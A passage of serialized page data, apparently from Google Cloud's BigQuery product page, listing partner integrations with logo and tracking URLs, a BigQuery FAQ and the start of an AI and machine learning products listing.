integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mI3umCjo53suj901m4zndXvQvOsznEXN2CzOQUJ0soMFmhVHnMyJidI1uTc0vmxBH0a2ZcLbd8x1UA"],null,null,true,null,null,null,null,[null,"tellius"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/zing-data"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/zing-data"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/NWxTk2tC6qgI3EfG2q5M1IS9HEQVY3Z5o7vFCrvDKTIFelGFs4nyPDW8EIcuXiKLnRcZFHe8I820"],null,null,true,null,null,null,null,[null,"zing logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/dbeaver"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/dbeaver"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mGcVTg4wSMGAOYLMq-RoIbikPn6JsJY4ihc6UkxKX3k--95UXB-dGXDtgIR2LbEyk7uuda6puhgU"],null,null,true,null,null,null,null,[null,"dbeaver logo"]]]],[null,[[null,[[null,null,"https://calibrate-analytics.com/launchpad/integrations/bigquery/"],{"10000":[[["track-metadata-eventdetail","calibrate-analytics.com/launchpad/integrations/bigquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/jXbEfGQDtbrTw-SOtOC9rM5oUE3ujfLnkIw8mX39jrdgw40rR15nRPQHFtzD_rJrO8CiAPOxgctj4A"],null,null,true,null,null,null,null,[null,"calibrate analytics"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/boostkpi-inc"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/boostkpi-inc"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/maCzC-id49DKFqvjo6ODkPc4l4EK0pfNueyuiz4CbQXWw2UAAZBmLEsoDrsso7Nglne_uRYFqaw"],null,null,true,null,null,null,null,[null,"boostKPI"]]]]],[],null,"bi-and-data-visualization"],[[[null,[null,"Data governance and security"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/CoI3_Gtkbna2lD5JcvCLHC404GLcug_Yn3YCC9SrRckyp2J79079B7SFE_TEscBDAmPr1Dl8h2WS-w"],null,null,true,null,null,null,null,[null,"Alation logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/kpmrXMUX9bWmGzMzf7RIl7D6YVHkdQoBRxr0v68GOzlT-HArLhoBRss8Xb8q-TNEx6V8MMBwi-8"],null,null,true,null,null,null,null,[null,"Collibra logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/8OsnTWFU0cQYx8mqSORdSJzvAY_nru39YF_EDdQyouXfNNVaPy3wNCk-jI9PE-lOufDa-4db3ZprsQ"],null,null,true,null,null,null,null,[null,"Privacera logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/7R0y05oi-5rpH_wPrFTTOWXTRs7AXTgRyyEb6MkVpGPyukMApmeqcCiclwF48r7MWdfJe0yepzSTvw"],null,null,true,null,null,null,null,[null,"Immuta logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/secupi"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/secupi"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/h-3MAzgButeRBNYV2WIBw00hCBwapW_YhgKateONyUlceo1bKxHhAbc2NK_FDtPtEKBbtgRxL5Y"],null,null,true,null,null,null,null,[null,"secuPi logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/vaultree"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/vaultree"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/uUEWRhazMIabzbAITGlyjDyadcSj14ZjGIvE1nFxlGNyoJruR7ysWKQUOS_DTbqJa-kiAAgX1PJt"],null,null,true,null,null,null,null,[null,"vaultree logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/secoda"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/secoda"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/QkF8dna4sJHDg9SPbGkB-pD7T16vCV9b4iXKKGni9UPXG4v9zIbeDL3_fmrt4GjVLcfto3IFM2FJ"],null,null,true,null,null,null,null,[null,"secoda logo"]]]]],[],null,"data-governance-and-security"],[[[null,[null,"Connectors and developer tools"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/lfuG5nnyUKHshVfJDvamLMwi25g59XekJ9WpH2VYavwFsVEzrYdXrJ3gfHXcSB4A4PvvZ2COcCjw"],null,null,true,null,null,null,null,[null,"cdata logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/KfUCcBVgmg7E8j2V1yiMTKUg5wmi5Kviw3zsjAktOv4ARlrw0eh2SDU_GY36kjgVG6fp81YW7VyM"],null,null,true,null,null,null,null,[null,"Simba by Magnitude logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/RVJS_Lv59X4UXJbPV0QvaqzoPhjwOGXrlDN7Wl3iSHZZdXjqpv1Rbrurx0l-bP6--GkC3NsFi8Lf"],null,null,true,null,null,null,null,[null,"Progress logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/v4euksWoYxAOt6GV5CgkuEWXVlDR_d6nSbiWzem7XQsgAgdavcC5MuO-9i4fX2SZSbG9WFZrfk-z"],null,null,true,null,null,null,null,[null,"KingswaySoft logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/Z485P2hIBIEpifJUskFiP2uFRaUuODBLF8_DEarhKm6-96U18GH8s1HuZhFg8mB4R8L5-8C9kID3"],null,null,true,null,null,null,null,[null,"ZappySys logo"]]]]],[],null,"connectors-and-developer-tools"],[[[null,[null,"Machine learning and advanced analytics"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/Ue9a7ZsJDKQAmfcqClfwh7INVkv-WZCv4MegyC8JAG7Yx5Eeh6A4S0Or0B2DnlEm4SiJDso1m_Qx0w"],null,null,true,null,null,null,null,[null,"DataRobot logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/p1AcIg2Oazf7Ry9D5Env5mOqwMn6hUacRMD-vFE9xkv7XBBjxWoN9imqPZ5PgBNy0ERwM4We_8hC"],null,null,true,null,null,null,null,[null,"dataiku logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/QseqCRn9AJl0A0xbOR_c1jGn63sN6Ivq5-UgUC71LwSTQ1Yhid56D_l7yH7GKYItZneFH7bNh6bD"],null,null,true,null,null,null,null,[null,"Databricks logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/j-kwHTmbtFYSpui5AL19H4CDf94x2pHPagSs2yru6CAzie87rdrKrFiZKwc5Rp4fB7mSw7muQidQdQ"],null,null,true,null,null,null,null,[null,"Starburst logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/JrJnnpsF7p9HwMIrf94D9QM9RnBhkesLtc-EFXZWWn0hTbqz7O2HO0gP0FTgysVkxtDqXElcTrSX"],null,null,true,null,null,null,null,[null,"Hex logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/snowplow-analytics"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/snowplow-analytics"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/ntLc0VTVsPo3qAikn_UgRsuORtEPMbOZ1icoQRhSp9rGBf4vGHY-aEpztycJfk6A36YDVCU4769q"],null,null,true,null,null,null,null,[null,"snowplow logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/neo4j"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/neo4j"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/wrb46o6Z6H2wjQMTvekmAbgwv4X3bSE2J3jGGwwKdwXE-Wi8G4k1VikCjIP-yE09lDV0f41cFc5M"],null,null,true,null,null,null,null,[null,"Neo4J logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/flywheel-technologies"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/flywheel-technologies"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/fwvceELRBS4eul-f39ggPM6-stvz5rkPXbaKbsRo5uiRYh4Nrx7Ky2F6-w1qBb9WvPOSBhyIEGI"],null,null,true,null,null,null,null,[null,"GrowthLoop logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/netspring"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/netspring"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/4S8SMHWCcsJQA3uOniLkpf_tTfNqrEwx1zzZ0vboefmRRWnfYLOUQdU71HTqllHn4PkIZOaw53_16A"],null,null,true,null,null,null,null,[null,"Netspring logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/windsor-ai"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/windsor-ai"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/QhQEEvjIWWxxmlp3u2QWgmnCcxbK5st5BEPpJgL7p3OSY3Tled5FoUpVJ30AsMsfkeaF87u9MT0W"],null,null,true,null,null,null,null,[null,"windsor.ai logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/lytics"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/lytics"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/qhpCU_RSHgfSPx5l6HzxBhv9l0Qxaza03QzM9jHdXR48112atwfBJrlE6kd_HhiL0Qt2h_GZkPExMg"],null,null,true,null,null,null,null,[null,"Lytics logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/deepnote-inc"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/deepnote-inc"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/W6jpEH90X81BrNs5PBipXmSM7ehCBVkcDLYHvO5lgHfzic_-6mvJgBImL-zHMY3zKnmoYBYPYedEfQ"],null,null,true,null,null,null,null,[null,"Deepnote logo"]]]],[null,[[null,[[null,null,"https://www.docs.developers.amplitude.com/data/sources/bigquery/"],{"10000":[[["track-metadata-eventdetail","www.docs.developers.amplitude.com/data/sources/bigquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/BbufJMRy_-zAOOowlgznhmCYPbVdzjr4sIuXgOdmucoq6Ued6PzurasOUnDLm0MyEGxeZp7-pVQ"],null,null,true,null,null,null,null,[null,"Amplitude logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/actable"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/actable"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/ahXNRivpLgoRYXEKrk_tpcVyKw5gSCRkCuOWem4siBSqlMvxZgAw0uXTG0VtcJQaowiuRjtTWsc3"],null,null,true,null,null,null,null,[null,"Actable logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/tecton"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/tecton"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/dv7PTiDcFS8Drh7H2zV7ybAJre4rMCPa9ejfGXFUIsG2PIs_Cy7_zMbVyDwuucAfnS2_VXPkv5r1"],null,null,true,null,null,null,null,[null,"Tecton logo"]]]],[null,[[null,[[null,null,"https://www.dinmo.com/integrations/google-bigquery/"],{"10000":[[["track-metadata-eventdetail","www.dinmo.com/integrations/google-bigquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/e0fdzXwwiJJvl7JFtQ2PKksNiDa4ZyDdcx_PFlftOxz18T7mAqHelgKP12JKs-woXxENCzBB06GETA"],null,null,true,null,null,null,null,[null,"DinMo logo"]]]]],[],null,"machine-learning-and-advanced-analytics"],[[[null,[null,"Data quality and observability"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/6Hl4GZvB73KdHQIHMPzavcvdwU65Z91vVuf5W5r37MA_rZP0IqteXZkTILaL7dlQQ6EcmdIVkgLY"],null,null,true,null,null,null,null,[null,"New Relic logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/jzkIiJsmw6qvGNidpcp-CZLJ8tf5Xralk8ait-eT9tllowds0QZ1D2n0QCdbB99zuu2L3erzj99XQQ"],null,null,true,null,null,null,null,[null,"dynatrace logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/ibcPI-AFnpbC4jHg3kTZcfgExfL19ra_6eum40C6OeuWskAA8Dwop5clRna5pUxdR1FjUFtMcBOr"],null,null,true,null,null,null,null,[null,"datadog logo"]]]],[null,[null,[[null,null,"https://www.gstatic.com/bricks/image/7d6df0faddea4927e72520cee2332bea13e94cacafd9bc001501b5ac613ab9ff.svg"],null,null,null,null,null,null,null,[null,"Anomalo logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/hubvnmGYcfqSrXRtZJJEdXUTRATVavAqmeYRYLEQPa1qUmyQ940kidoTNWIPdA-47thLKeuQi19Jog"],null,null,true,null,null,null,null,[null,"Monte Carlo logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/masthead-data"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/masthead-data"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/OarCQ5TwpevhfEh5YVpRSjDt56s7qHlBxHFa6H75OfOgSoSSWfHur1Gqn18lBHz7RYu44pkJM2a_Kw"],null,null,true,null,null,null,null,[null,"Soda log"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/masthead-data"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/masthead-data"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/FLo6Q99ULGOpbW9z2qrUJkD1ji1lfE5lzdFEnCTsA6I427lbWP-K_45UusFWan2oubbXsrBjTsyKUQ"],null,null,true,null,null,null,null,[null,"Masthead logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/aliz-tech-kft"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/aliz-tech-kft"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/XdReO-bANvyf2sbpYfmefZX8xlF0ROqc4YvzF9Bbs0qOlXX2Of6wg2EL2j1LMzVlkuANr0tMiJEgBA"],null,null,true,null,null,null,null,[null,"Rabbit logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/unravel-data"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/unravel-data"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/U8WxfXbenW3hgZ3PqNaXGj1Y87EfCS1OUcbkJ6UNyJ-dsWDZXRlTyuFftPQDBlw35PpKRxfSZtPE"],null,null,true,null,null,null,null,[null,"unravel logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/validio"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/validio"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/f4a1m12xQ-hCrR3fyDLuOCLLQ2H28FIjrmFiZZH9OZmScpbROEoLAhGGreFt4cksZCZO458ZC_pk"],null,null,true,null,null,null,null,[null,"Validio logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/agiledata-io"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/agiledata-io"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/o5ZckmWTJKv9THKYg_ldhjDij05KU1hXPxwBMGge2JEspaEyfLNmWmirGRu4TiLKTLyGpLuRANBYMA"],null,null,true,null,null,null,null,[null,"Agiledata.io logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/decube"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/decube"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/0fp-fdRamH3xc4cRcxbG86zFjigpfYSjzkUtGTKVIdK5Y-7Q3vniuJujdVRh3w5TBPR_hLlnmKfW"],null,null,true,null,null,null,null,[null,"Decube logo"]]]]],[],null,"data-quality-and-observability"],[[[null,[null,"Consulting partners"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/ircOodCNbPGYZk8p6ty3ndK7zZgfuf4jU5R39TPwPnFfRKhXJcIF_Fqtlv3FqxS6wLgIvEaWXcdO"],null,null,true,null,null,null,null,[null,"capgemini logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/LZKdBHhld6KjMBg2FQuos7CzVrevk1N4vodDD_J_FWtbPvrcz9qJFo_M02QDS0gmqkdea_owib7O"],null,null,true,null,null,null,null,[null,"ctp logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/yK-z-l0tamHHn3zwefkf7ryAgAyXUMPcDWrB5JdaNkG1t740TAn7cLBeI19bEcElYQLpwCvchQWLMg"],null,null,true,null,null,null,null,[null,"Myers-Holum logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/X3G1yGqYCqsJzy_sy9cSlJrxqlhNIyBkK6IMotSj_XDzPjwcRLPt8iEi0w3qHAjbKRGk3kENBoKH4g"],null,null,true,null,null,null,null,[null,"pythian logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/rPf9g0SdutOFV5b4xUw6yh87sHyfAXEtv5xzeU_KpypziG2Dh0y-RkDYq-esLZBUbk91fK8fTjdlZg"],null,null,true,null,null,null,null,[null,"quantiphi logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/sUZubjCY1-B6znPmA4lwEuDh-ympRXZkvfFOWGoBKBkrxXvtujBYUzUhNW0ZfB2fAMGXtRbzGuk"],null,null,true,null,null,null,null,[null,"sada logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/afcERhao3M_moUaWshVnH8FNLkK2P8o4o8LxYoqT32xU0nK6p1UTVxK5cPU6VG1K_7EsNsdXnq87"],null,null,true,null,null,null,null,[null,"tectonic logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/D0byHS0KhMoQPguOLp40QPOS319UliP5w6_uIgC_ZUewHfPsv7xEhBlsc_7OBTO71JuTo9GIhrkcdQ"],null,null,true,null,null,null,null,[null,"Trace3"]]]]],[],null,"consulting-partners"]],null,"work-with-a-partner-with-bigquery-expertise"],{"10000":[[["track-metadata-module","partners and integration"]],191763],"10002":"work-with-a-partner-with-bigquery-expertise"}],[83,[[[null,[null,"Other inquiries and support"]],[[null,null,"https://cloud.google.com/billing/docs"],"Billing and troubleshooting",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/billing/docs"],["track-metadata-module","product v3 faq"],["track-metadata-module_headline","other inquiries and support"],["track-name","billing and troubleshooting"]],192553]}],[[null,null,"https://www.googlecloudcommunity.com/gc/Data-Analytics/bd-p/cloud-data-analytics"],"Ask the community",{"10000":[[["track-metadata-eventdetail","www.googlecloudcommunity.com/gc/data-analytics/bd-p/cloud-data-analytics"],["track-metadata-module","product v3 faq"],["track-metadata-module_headline","other inquiries and support"],["track-name","ask the community"]]]}]],[[[null,[null,"What makes BigQuery different from other enterprise data warehouse alternatives?"],[null,"\u003cp\u003eBigQuery is Google Cloud’s fully managed and completely serverless enterprise data warehouse. BigQuery supports all data types, works across clouds, and has built-in machine learning and business intelligence, all within a unified platform. \u003c/p\u003e\u003cp\u003e\u003cbr /\u003e\u003c/p\u003e"]]],[[null,[null,"What is an enterprise data warehouse?"],[null,"\u003cp\u003eAn enterprise data warehouse is a system used for the analysis and reporting of structured and semi-structured data from multiple sources. Many organizations are moving from traditional data warehouses that are on-premises to cloud data warehouses, which provide more cost savings, scalability, and flexibility.\u003c/p\u003e"]]],[[null,[null,"How secure is BigQuery?"],[null,"\u003cp\u003eBigQuery offers robust security, governance, and reliability controls that offer high availability and a 99.99% uptime SLA. Your data is protected with encryption by default and customer-managed encryption keys.\u003c/p\u003e"]]],[[null,[null,"How can I get started with BigQuery?"],[null,"\u003cp\u003eThere are a few ways to get started with BigQuery. New customers get $300 in free credits to spend on BigQuery. All customers get 10 GB storage and up to 1 TB queries free per month, not charged against their credits. You can get these credits by signing up for the BigQuery free trial. Not ready yet? You can use the \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/sandbox\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery sandbox\u003c/a\u003e without a credit card to see how it works. \u003c/p\u003e"]]],[[null,[null,"What is the BigQuery sandbox?"],[null,"\u003cp\u003eThe \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/sandbox\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery sandbox\u003c/a\u003e lets you try out BigQuery without a credit card. You stay within BigQuery’s free tier automatically, and you can use the sandbox to run queries and analysis on public datasets to see how it works. You can also bring your own data into the BigQuery sandbox for analysis. There is an option to upgrade to the free trial where new customers get a $300 credit to try BigQuery.\u003c/p\u003e\u003cp\u003e\u003cbr /\u003e\u003c/p\u003e"]]],[[null,[null,"What are the most common ways companies use BigQuery?"],[null,"\u003cp\u003eCompanies of all sizes use BigQuery to consolidate siloed data into one location so you can perform data analysis and get insights from all of your business data. This allows companies to make decisions in real time, streamline business reporting, and incorporate machine learning into data analysis to predict future business opportunities.\u003c/p\u003e"]]]]],{"10000":[[["track-metadata-module","product v3 faq"]],191772],"10002":"other-inquiries-and-support"}]],null,[null,[[[[null,"Release Notes"]],[[null,null,"https://cloud.google.com/bigquery/docs/release-notes"],"Release notes",6,{"10000":[[["track-metadata-child_index","1"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/release-notes"],["track-metadata-module","in page navigation"],["track-name","release notes"]],192553]}]],[[[null,"Documentation"]],[[null,null,"https://cloud.google.com/bigquery/docs"],"Documentation",6,{"10000":[[["track-metadata-child_index","2"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs"],["track-metadata-module","in page navigation"],["track-name","documentation"]],192553]}]],[[[null,"Training"]],[[null,null,"https://www.cloudskillsboost.google/catalog?keywords\u003dBigQuery\u0026locale\u003d\u0026solution%5B%5D\u003dany\u0026role%5B%5D\u003dany\u0026skill-badge%5B%5D\u003dany\u0026format%5B%5D\u003dany\u0026level%5B%5D\u003dany\u0026duration%5B%5D\u003dany\u0026language%5B%5D\u003dany"],"Training",11,{"10000":[[["track-metadata-child_index","3"],["track-metadata-child_total","4"],["track-metadata-eventdetail","www.cloudskillsboost.google/catalog"],["track-metadata-module","in page navigation"],["track-name","training"]],192558]}]],[[[null,"Architecture Center"]],[[null,null,"https://cloud.google.com/architecture?category\u003dbigdataandanalytics"],"Architecture center",{"10000":[[["track-metadata-child_index","4"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/architecture"],["track-metadata-module","in page navigation"],["track-name","architecture center"]]]}]]]],null,true,{"10000":[null,191573]}]]]]]]]]]]]],["jss",["jss",[["control",["control",[93803230,93804391],["/products/ai","/products/compute","/solutions/web-hosting"]]],["variantA",["variantA",[93803231,93804392],["/products/ai","/products/compute","/solutions/web-hosting"],null,[["/products/ai",[[["fte",[[15,["eQEWtBTojpkD","en","AI \u0026 Machine Learning Products \u0026 Services | Google Cloud","Fast, scalable, and easy-to-use AI offerings including AI Platform, video and image analysis, speech recognition, and multi-language processing.","Tiered Wayfinding Template"],[[1,null,[[[null,[null,"AI and machine learning products"],[null,"\u003cp\u003eLaunch and learn pre-configured solutions—developed by Google Cloud experts—to help you summarize documents with generative AI, build image processing pipelines, and other AI use cases.\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","hero"],["track-metadata-module_headline","ai and machine learning products"],["track-name","get started for free"]],192548]}],[[null,null,"https://cloud.google.com/contact"],"Contact sales",3,{"10000":[[["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","hero"],["track-metadata-module_headline","ai and machine learning products"],["track-name","contact sales"]],192550]}]],null,[]],{"10000":[[["track-metadata-module","hero"]],191692]}],[35,null,null,[null,[[[[null,[null,"Summarize large documents with generative AI"],[null,"Deploy a preconfigured solution that uses generative AI to quickly extract text and summarize large documents."]],[[null,null,"https://console.cloud.google.com/freetrial"],{"10000":[[["track-metadata-child_headline","summarize large documents with generative ai"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","featured ctas"],["track-name","summarize large documents with generative ai"]]]}]]],[[[null,[null,"Deploy an AI/ML image processing pipeline"],[null,"Launch a preconfigured, interactive solution that uses pre-trained machine learning models to analyze images and generate image annotations."]],[[null,null,"https://console.cloud.google.com/freetrial"],{"10000":[[["track-metadata-child_headline","deploy an ai/ml image processing pipeline"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","featured ctas"],["track-name","deploy an ai/ml image processing pipeline"]]]}]]],[[[null,[null,"Explore common Generative AI use cases"],[null,"Build generative AI applications quickly, efficiently, and responsibly, powered by Google’s advanced technology."]],[[null,null,"https://cloud.google.com/use-cases/generative-ai"],{"10000":[[["track-metadata-child_headline","explore common generative ai use cases"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/use-cases/generative-ai"],["track-metadata-module","explore common generative ai use cases"],["track-name","responsible ai"]]]}]]]]],{"10000":[[["track-metadata-module","featured ctas"]],191725]}],[14,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"Products, solutions, and services"]]],[[null,[null,"Use Case"]],[null,[null,"Products and solutions "]],[null,[null,"Good for"]]],[[[[null,[null,"Generative AI"]]],[[null,[[[null,[null,"Generative AI on Vertex AI"],[null,"\u003cp\u003eA Vertex AI tool for rapidly prototyping and testing generative AI models. Test sample prompts, design your own prompts, and customize foundation models and LLMs to handle tasks that meet your application's needs.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/generative-ai-studio"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/generative-ai-studio"],["track-metadata-module","categorization"],["track-metadata-module_headline","generative ai on vertex ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003ePrompt design and tuning with an easy-to-use interface \u003c/p\u003e"]],[null,[null,"\u003cp\u003eCode completion and generation with Codey\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGenerating and customizing images with Imagen\u003c/p\u003e"]],[null,[null,"\u003cp\u003eUniversal speech models\u003c/p\u003e"]]]]],[null,[[[null,[null,"Vertex AI Search and Conversation "],[null,"\u003cp\u003eProvides step-by-step orchestration of enterprise search and conversational applications with pre-built workflows for common tasks like onboarding, data ingestion, and customization, making it easy for developers to set up and deploy their apps.\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/generative-ai-app-builder"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/generative-ai-app-builder"],["track-metadata-module","categorization"],["track-metadata-module_headline","vertex ai search and conversation"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eBuilding a Google-quality search app on your own data\u003c/p\u003e"]],[null,[null,"\u003cp\u003eBuilding multimodal apps that can respond with text, images, and other media\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGenerative AI-powered summarization\u003c/p\u003e"]]]]],[null,[[[null,[null,"Generative AI Document Summarization"],[null,"\u003cp\u003eThe one-click solution establishes a pipeline that extracts text from PDFs, creates a summary from the extracted text with Vertex AI Generative AI Studio, and stores the searchable summary in a BigQuery database.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/ai-ml/generative-ai-document-summarization"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/architecture/ai-ml/generative-ai-document-summarization"],["track-metadata-module","categorization"],["track-metadata-module_headline","generative ai document summarization"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eProcess and summarize large documents using Vertex AI LLMs\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDeploy an application that orchestrates the documentation summarization process\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTrigger the pipeline with a PDF upload and view a generated summary\u003c/p\u003e"]]]]]]],[[[null,[null,"Machine learning and MLOPs"]]],[[null,[[[null,[null,"Vertex AI Platform "],[null,"\u003cp\u003eA single platform for data scientists and engineers to create, train, test, monitor, tune, and deploy ML and AI models. Choose from 80+ models in Vertex's \u003ca href\u003d\"https://cloud.google.com/model-garden\"\u003eModel Garden\u003c/a\u003e, including Palm 2 and open source models like Stable 